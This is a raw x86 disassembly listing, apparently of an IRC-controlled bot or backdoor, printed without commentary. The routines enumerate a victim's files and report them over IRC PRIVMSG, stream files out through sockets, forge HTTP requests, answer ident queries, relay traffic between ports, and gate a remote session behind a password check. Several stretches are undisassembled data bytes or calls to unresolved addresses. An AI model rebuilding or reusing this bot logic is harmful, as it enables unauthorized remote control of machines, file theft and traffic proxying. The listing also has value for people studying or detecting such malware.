pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410893
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_410898
; ---------------------------------------------------------------------------
loc_410893: ; CODE XREF: sub_41036B+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_410898: ; CODE XREF: sub_41036B+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4107DF
; ---------------------------------------------------------------------------
loc_4108E7: ; CODE XREF: sub_41036B+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_4108FD: ; CODE XREF: sub_41036B+315j
push esi
loc_4108FE: ; CODE XREF: sub_41036B+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 18h
loc_41090D: ; CODE XREF: sub_41036B+444j
; sub_41036B+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
cmp [ebp+arg_8], ebx
jz short loc_41093C
push 7D0h
call near ptr 26C04BFh
nop
loc_41093C: ; CODE XREF: sub_41036B+22Bj
; sub_41036B+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call near ptr 27A0000h
nop
test eax, eax
jnz loc_410590
loc_410954: ; CODE XREF: sub_41036B+21Aj
push [ebp+arg_0]
nop
call near ptr 2600000h
cmp [ebp+arg_8], ebx
jz short loc_410997
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41C266
add esp, 14h
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_410997: ; CODE XREF: sub_41036B+5F5j
cmp [ebp+arg_C], ebx
jz short loc_4109B1
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_4109B1: ; CODE XREF: sub_41036B+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41C266
add esp, 10h
loc_4109CB: ; CODE XREF: sub_41036B+62Aj
; sub_41036B+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_41036B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 2740762h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410AA9
push esi
push ebx
call near ptr 2780B67h
nop
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_410AA2
loc_410A36: ; CODE XREF: sub_4109F1+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41BF70
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410A53
mov edi, [ebp+arg_4]
loc_410A53: ; CODE XREF: sub_4109F1+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call near ptr 27C0000h
nop
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
nop
call near ptr 27310DDh
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_410A9D
call dword_4CB968
cmp eax, 2733h
jnz short loc_410AA2
xor eax, eax
loc_410A9D: ; CODE XREF: sub_4109F1+9Bj
sub [ebp+arg_4], eax
jnz short loc_410A36
loc_410AA2: ; CODE XREF: sub_4109F1+43j
; sub_4109F1+A8j
push ebx
nop
call near ptr 26A0000h
loc_410AA9: ; CODE XREF: sub_4109F1+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4109F1 endp
; =============== S U B R O U T I N E =======================================
sub_410AAE proc near ; CODE XREF: sub_4100B4+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_410AD7
loc_410AC1: ; CODE XREF: sub_410AAE+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410ACB
mov byte ptr [esi+edi], 2Fh
loc_410ACB: ; CODE XREF: sub_410AAE+17j
push edi
inc esi
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_410AC1
loc_410AD7: ; CODE XREF: sub_410AAE+11j
mov eax, edi
pop edi
pop esi
retn
sub_410AAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CB944
push 6
push 1
push 2
call dword_4CBA54
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CB9D4
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz short loc_410BB9
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410B55
mov eax, offset byte_43DB88
loc_410B55: ; CODE XREF: sub_410ADC+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CBA24
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CB9EC
pop esi
loc_410BB9: ; CODE XREF: sub_410ADC+6Bj
push ebx
call dword_4CBA6C
call dword_4CB92C
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41C266
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410BF9
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_410BF9: ; CODE XREF: sub_410ADC+102j
pop edi
pop ebx
leave
retn
sub_410ADC endp
; ---------------------------------------------------------------------------
loc_410BFD: ; DATA XREF: ___:00401666o
; sub_401ACD+438Bo
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push 71h
call dword_4CB9D4
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410D61
mov eax, [ebp+8]
push edi
imul eax, 234h
mov dword_43E91C[eax], ebx
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_4CBA00
cmp eax, 0FFFFFFFFh
jz loc_410D61
push 5
push ebx
call dword_4CB9FC
cmp eax, 0FFFFFFFFh
jz loc_410D61
mov [ebp-0Ch], edi
mov edi, 200h
loc_410C88: ; CODE XREF: ___:00410CE7j
; ___:00410D4Aj ...
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call dword_4CBA68
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_410D5C
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call dword_4CBA60
push eax
lea eax, [ebp-238h]
push offset dword_435164
push eax
call sub_41C266
lea eax, [ebp-238h]
push eax
call sub_415D38
add esp, 14h
lea eax, [ebp-238h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_4CB9EC
cmp eax, 0FFFFFFFFh
jz short loc_410C88
lea eax, [ebp-238h]
push esi
push eax
call sub_4184CC
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_41BF70
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_40AE84
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp-238h]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz loc_410C88
mov dword ptr [ebp-8], 1
jmp loc_410C88
; ---------------------------------------------------------------------------
loc_410D5C: ; CODE XREF: ___:00410C9Dj
cmp [ebp-8], esi
jnz short loc_410D88
loc_410D61: ; CODE XREF: ___:00410C44j
; ___:00410C68j ...
call dword_4CB968
push eax
lea eax, [ebp-238h]
push offset dword_435120
push eax
call sub_41C266
lea eax, [ebp-238h]
push eax
call sub_415D38
add esp, 10h
loc_410D88: ; CODE XREF: ___:00410D5Fj
push ebx
call dword_4CBA6C
push dword ptr [ebp-4]
call dword_4CBA6C
push dword ptr [ebp+8]
call sub_40B6D6
pop ecx
push esi
nop
call near ptr 2720000h
pop edi
pop esi
pop ebx
loc_410DAB: ; DATA XREF: sub_401ACD+605Do
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-150h]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp-14h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-44h]
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
mov [ebp-4], edi
call dword_4CBA54
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_410F17
mov ecx, [ebp-40h]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43E91C[ecx], eax
call dword_4CB8E4
lea eax, [ebp-14h]
push edi
push eax
push dword ptr [ebp+8]
call dword_4CBA00
test eax, eax
jnz loc_410F17
push 0Ah
push dword ptr [ebp+8]
call dword_4CB9FC
test eax, eax
jnz loc_410F17
loc_410E5B: ; CODE XREF: ___:00410E71j
lea eax, [ebp-4]
push eax
lea eax, [ebp-28h]
push eax
push dword ptr [ebp+8]
call dword_4CBA68
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410E5B
movzx eax, word ptr [ebp-26h]
push dword ptr [ebp-40h]
mov [ebp-14Ch], edi
mov [ebp-30h], esi
push eax
push dword ptr [ebp-24h]
call dword_4CBA60
push eax
lea eax, [ebp-350h]
push offset unk_4351CC
push eax
call sub_41C266
push edi
lea eax, [ebp-350h]
push 18h
push eax
call sub_40B3BA
mov [ebp-3Ch], eax
imul eax, 234h
mov ecx, [ebp-40h]
add esp, 20h
mov dword_43E914[eax], ecx
lea eax, [ebp-18h]
push eax
lea eax, [ebp-150h]
push esi
push eax
push offset loc_410F3C
push esi
push esi
nop
; ---------------------------------------------------------------------------
db 0E8h
dd 22AF642h, 69C44D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 22AF5BFh, 0E890EDEBh
dd 22AFDC0h, 51906850h, 99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
pop ecx
jmp short loc_410F1A
; ---------------------------------------------------------------------------
loc_410F17: ; CODE XREF: ___:00410E0Ej
; ___:00410E42j ...
mov edi, [ebp+8]
loc_410F1A: ; CODE XREF: ___:00410F15j
push edi
call dword_4CBA6C
push dword ptr [ebp+8]
call dword_4CBA6C
push dword ptr [ebp-40h]
call sub_40B6D6
pop ecx
push esi
nop
call near ptr 2720000h
pop edi
pop esi
loc_410F3C: ; DATA XREF: ___:00410ECFo
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41C500
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CBA54
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_4110F2
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_4CB9D4
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_4CBA14
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_410FCC
lea eax, [ebp-13Ch]
push eax
call dword_4CBA58
jmp short loc_410FDA
; ---------------------------------------------------------------------------
loc_410FCC: ; CODE XREF: ___:00410FBBj
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_4CB98C
loc_410FDA: ; CODE XREF: ___:00410FCAj
cmp eax, edi
jz loc_4110F2
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_4110F2
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_4CBA60
push eax
lea eax, [ebp-344h]
push offset unk_435254
push eax
call sub_41C266
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_40B3BA
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_43E91C[ebx]
mov dword_43E914[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43E920[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_411123
push edi
push edi
call near ptr 26C051Eh
nop
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_4110DF
loc_41108C: ; CODE XREF: ___:00411099j
cmp [ebp-20h], edi
jnz short loc_41109B
push 32h
nop
call near ptr 26C04BFh
jmp short loc_41108C
; ---------------------------------------------------------------------------
loc_41109B: ; CODE XREF: ___:0041108Fj
mov ebx, 1000h
loc_4110A0: ; CODE XREF: ___:004110DBj
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC
cmp eax, edi
jle short loc_4110F2
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_4110A0
jmp short loc_4110F2
; ---------------------------------------------------------------------------
loc_4110DF: ; CODE XREF: ___:0041108Aj
call near ptr 26C0CC8h
nop
push eax
push offset unk_435214
call sub_415DAC
pop ecx
pop ecx
loc_4110F2: ; CODE XREF: ___:00410F80j
; ___:00410FDCj ...
mov eax, [ebp-4]
imul eax, 234h
push dword_43E91C[eax]
call dword_4CBA6C
push dword ptr [ebp+8]
call dword_4CBA6C
push dword ptr [ebp-4]
call sub_40B6D6
pop ecx
push edi
nop
call near ptr 2720000h
pop edi
pop esi
pop ebx
loc_411123: ; DATA XREF: ___:0041106Co
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41C500
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41115A: ; CODE XREF: ___:0041119Fj
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_43E920[esi]
call dword_4CB9EC
test eax, eax
jle short loc_4111A1
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_43E91C[esi]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_41115A
loc_4111A1: ; CODE XREF: ___:00411184j
push dword_43E920[esi]
call dword_4CBA6C
push dword ptr [ebp-14h]
call sub_40B6D6
pop ecx
push 0
; ---------------------------------------------------------------------------
dd 30EE43E8h, 5E5F9002h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_43E91C[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_4CB9BC
test eax, eax
jnz short loc_411244
push dword ptr [esi]
call dword_4CBA6C
push dword ptr [ebp+8]
call sub_40B6D6
pop ecx
push edi
call near ptr 2720000h
nop
loc_411244: ; CODE XREF: ___:0041122Aj
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_4113C5
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_4CB928
test eax, eax
jz short loc_4112BD
call dword_4CB968
push eax
push offset unk_43532C
call sub_415DAC
push dword ptr [ebp+8]
call sub_40B6D6
add esp, 0Ch
push edi
nop
call near ptr 2720000h
loc_4112BD: ; CODE XREF: ___:00411298j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_4CB98C
cmp eax, edi
jnz short loc_4112E7
push dword ptr [ebp-18h]
call dword_4CBA60
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41C266
jmp short loc_4112F5
; ---------------------------------------------------------------------------
loc_4112E7: ; CODE XREF: ___:004112CDj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41C890
loc_4112F5: ; CODE XREF: ___:004112E5j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43DB88
push dword ptr [esi]
call dword_4CBA24
cmp dword_4CE72C, edi
jnz short loc_411357
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_41141F
add esp, 10h
test eax, eax
jnz short loc_411357
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CBA24
push dword ptr [esi]
call dword_4CBA6C
push dword ptr [ebp+8]
call sub_40B6D6
pop ecx
push edi
nop
call near ptr 2720000h
loc_411357: ; CODE XREF: ___:0041130Cj
; ___:0041132Dj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_4352F0
call sub_415DAC
push dword ptr [ebp+8]
call sub_4116D6
add esp, 10h
test eax, eax
jnz short loc_41139E
nop
call near ptr 26C0CC8h
push eax
push offset unk_4352C4
call sub_415DAC
push dword ptr [ebp+8]
call sub_40B6D6
add esp, 0Ch
push ebx
nop
call near ptr 2720000h
loc_41139E: ; CODE XREF: ___:00411379j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_435298
call sub_415DAC
push dword ptr [ebp+8]
call sub_40B6D6
add esp, 10h
push edi
nop
call near ptr 2720000h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113C5 proc near ; CODE XREF: ___:0041125Ap
; ___:00411267p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC
cmp eax, 1
jnz short loc_411415
mov esi, [ebp+arg_4]
loc_4113E3: ; CODE XREF: sub_4113C5+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_41140A
test al, al
jz short loc_411419
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC
cmp eax, 1
jz short loc_4113E3
jmp short loc_411415
; ---------------------------------------------------------------------------
loc_41140A: ; CODE XREF: sub_4113C5+27j
push offset unk_435358
call sub_415DAC
pop ecx
loc_411415: ; CODE XREF: sub_4113C5+19j
; sub_4113C5+43j
xor eax, eax
jmp short loc_41141C
; ---------------------------------------------------------------------------
loc_411419: ; CODE XREF: sub_4113C5+2Bj
push 1
pop eax
loc_41141C: ; CODE XREF: sub_4113C5+52j
pop esi
leave
retn
sub_4113C5 endp
; =============== S U B R O U T I N E =======================================
sub_41141F proc near ; CODE XREF: ___:00411323p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41144A
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_435384
call sub_415DAC
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41144A: ; CODE XREF: sub_41141F+11j
push 1
pop eax
retn
sub_41141F endp
; ---------------------------------------------------------------------------
word_41144E dw 8B55h ; DATA XREF: sub_401ACD+237Ao
dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h
dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
dd 2026850h, 15FF0000h, 4CB944h, 0C63BF633h, 68501D74h
dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
dd 59E89057h, 570230EBh, 4116CC68h, 7E89000h, 85023AF6h
dd 902975C0h, 2AF80BE8h, 0B0685002h, 0E8004354h, 48E4h
dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 21E85759h
dd 900230EBh, 8D106A53h, 5056E045h, 0AA83E8h, 0CC48300h
dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h
dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh
dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h
dd 15FF5350h, 4CBA00h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh
dd 4CB9FCh, 850FC085h, 103h, 43547468h, 0F045C700h, 0Ch
dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h, 45C7FC45h
dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h
dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh
dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh
dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 22AEF02h
dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
dd 850FC875h, 0FFFFFF37h, 0E890326Ah, 22AEE7Fh, 0E890EDEBh
dd 22AF680h, 53F46850h, 59E80043h, 59000047h, 8B03EB59h
dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh
dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h, 57590000h
dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h
dd 13E8B475h, 59FFFFA0h, 0E936E856h, 5B900230h, 4439C033h
dd 940F0424h
db 0C0h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4116D6 proc near ; CODE XREF: ___:0041136Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_411827
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43E91C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_427084
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4119F9
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_411741
call near ptr 26C0CC8h
nop
push eax
push offset unk_435554
call sub_415DAC
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_41177B
; ---------------------------------------------------------------------------
loc_411741: ; CODE XREF: sub_4116D6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411AAB
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411782
nop
call near ptr 26C0CC8h
push eax
push offset unk_435554
call sub_415DAC
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call near ptr 26D0DD3h
nop
loc_41177B: ; CODE XREF: sub_4116D6+69j
xor eax, eax
jmp loc_411822
; ---------------------------------------------------------------------------
loc_411782: ; CODE XREF: sub_4116D6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
nop
call near ptr 27C0D9Ah
sub eax, ebx
jz short loc_4117DC
dec eax
jz short loc_4117D6
dec eax
jz short loc_4117C2
call near ptr 26C0CC8h
nop
push eax
push offset unk_435520
call sub_415DAC
pop ecx
pop ecx
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117C2: ; CODE XREF: sub_4116D6+D5j
mov edi, dword_4270B4
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117D6: ; CODE XREF: sub_4116D6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4117E0
; ---------------------------------------------------------------------------
loc_4117DC: ; CODE XREF: sub_4116D6+CFj
push ebx
push dword ptr [esi+14h]
loc_4117E0: ; CODE XREF: sub_4116D6+104j
nop
call near ptr 26D0DD3h
push 1
push dword ptr [esi+8]
nop
call near ptr 27409C5h
loc_4117F1: ; CODE XREF: sub_4116D6+EAj
; sub_4116D6+FEj
push dword ptr [esi+10h]
mov edi, dword_427070
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
